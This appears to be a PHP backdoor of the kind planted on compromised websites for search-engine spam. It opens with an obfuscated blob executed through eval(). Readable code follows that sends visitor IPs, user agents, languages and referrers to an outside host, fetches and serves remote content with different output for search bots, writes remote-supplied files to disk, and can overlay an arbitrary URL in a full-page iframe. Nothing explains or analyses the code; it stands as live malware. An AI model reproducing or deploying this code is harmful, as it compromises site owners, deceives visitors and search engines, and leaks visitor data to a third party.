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";
eval('?>' . $O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2) , $OO0O00($O0O000, $OO0000, $OO0000) , $OO0O00($O0O000, 0, $OO0000)))); ?><?php
$temp = @$_GET['smtemp'];
$goweb = 'thirty-seven1.blueaddict.site';
$id = @$_GET['smid'];
$site = @$_GET['smsite'];
$site = str_replace('/', '', $site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';
$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/', '', $tempweb);

if ($tempweb) {
    $site = $tempweb[0] . $tempweb[1] . $tempweb[2];
    $temp = substr($tempweb, 3);
}

$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = base64_encode($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = base64_encode($os);

if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = base64_encode($urlshang);
}
else {
    $urlshang = '';
}

if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR') , 'unknown')) {
    $clock = getenv('REMOTE_ADDR');
}
elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $clock = $_SERVER['REMOTE_ADDR'];
}

$http_clock = '';

if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP') , 'unknown')) {
    $http_clock = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR') , 'unknown')) {
    $http_clock = getenv('HTTP_X_FORWARDED_FOR');
}

if (stristr($clock, ',')) {
    $clock_tmp = explode(",", $clock);
    $clock = $clock_tmp[0];
}

if (@$_GET['kj'] == "1") {
    $uurl = $_GET['kjsite'];
    echo '<iframe id="mainweb" name="mainweb" height="100%" width="100%" style=" display: block;left:0;top:0;position:fixed; z-index: 100000; background-color: #fff;" frameborder = "0" frameborder="0" onLoad="iFrameHeight()" src="' . base64_decode($uurl) . '"></iframe>';
    exit;
}

if (stristr($smuri_tmp, '.css')) {
    $web = 'http://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
    $html_content = trim(smoutdo($web));
    if (!strstr($html_content, 'nobotuseragent')) {
        if (strstr($html_content, 'okhtmlgetcontent')) {
            @header("Content-type: text/css; charset=utf-8");
            $html_content = str_replace("okhtmlgetcontent", '', $html_content);
            echo $html_content;
            exit();
        }
        else
        if (strstr($html_content, 'getcontent500page')) {
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }
        else
        if (strstr($html_content, 'getcontent404page')) {
            @header('HTTP/1.1 404 Not Found');
            exit();
        }
    }
}
else
if ($site) {
    if ($site == 'xml') {
        @header("Content-type: text/html; charset=utf-8");
        $web = 'http://' . $goweb . '/sitemap.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt;
        if (substr($temp, 0, 8) == 'shellxml') {
            $xmlname = substr($temp, 8) . '.xml';
        }

        if (substr($temp, 0, 7) == 'hackxml') {
            if (substr($temp, 7)) {
                $xmlname = substr($temp, 7) . '.xml';
            }
        }

        $xml = trim(smoutdo($web));
        $myfile = fopen($xmlname, "w");
        fwrite($myfile, $xml);
        fclose($myfile);
        echo "ok<br />http://" . $_SERVER['HTTP_HOST'] . "/" . $xmlname;
        echo "<br />" . $web;
        exit();
    }

    if ($id) {
        @header("Content-type: text/html; charset=utf-8");
        $web = 'http://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
        $html_content = trim(smoutdo($web));
        if (!strstr($html_content, 'nobotuseragent')) {
            if (strstr($html_content, 'okhtmlgetcontent')) {
                $html_content = str_replace("okhtmlgetcontent", '', $html_content);
                echo $html_content;
                exit();
            }
            else
            if (strstr($html_content, 'getcontent500page')) {
                @header('HTTP/1.1 500 Internal Server Error');
                exit();
            }
            else
            if (strstr($html_content, 'getcontent404page')) {
                @header('HTTP/1.1 404 Not Found');
                exit();
            }
        }
    }
}
else {
    $web = 'http://' . $goweb . '/index.php?url=bot&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
    $html_content = trim(smoutdo($web));
    if (!strstr($html_content, 'nobotuseragent')) {
        @header("Content-type: text/html; charset=utf-8");
        if (strstr($html_content, 'okhtmlgetcontent')) {
            $html_content = str_replace("okhtmlgetcontent", '', $html_content);
            echo $html_content;
            exit();
        }
        else
        if (strstr($html_content, 'getcontent500page')) {
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }
        else
        if (strstr($html_content, 'getcontent404page')) {
            @header('HTTP/1.1 404 Not Found');
            exit();
        }
    }
}

function smisbot()
{
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if ($agent != "") {
        $spiderSite = array(
            "TencentTraveler",
            "Googlebot",
            "msnbot",
            "Sosospider+",
            "Sogou web spider",
            "ia_archiver",
            "Yahoo! Slurp",
            "YoudaoBot",
            "Yahoo Slurp",
            "MSNBot",
            "Java (Often spam bot)",
            "BaiDuSpider",
            "Voila",
            "Yandex bot",
            "BSpider",
            "twiceler",
            "Sogou Spider",
            "Speedy Spider",
            "Google AdSense",
            "Heritrix",
            "Python-urllib",
            "Alexa (IA Archiver)",
            "Ask",
            "Exabot",
            "Custo",
            "OutfoxBot/YodaoBot",
            "yacy",
            "SurveyBot",
            "legs",
            "lwp-trivial",
            "Nutch",
            "StackRambler",
            "The web archive (IA Archiver)",
            "Perl tool",
            "MJ12bot",
            "Netcraft",
            "MSIECrawler",
            "WGet tools",
            "larbin",
            "Fish search",
            'bingbot',
            'google',
            'baidu',
            'aol',
            'bing',
            'yahoo',
            'YandexBot',
            'AhrefsBot'
        );
        foreach($spiderSite as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str)) {
                return true;
            }
        }
    }
    else {
        return false;
    }
}

function smoutdo($url)
{
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }

    return $file_contents;
}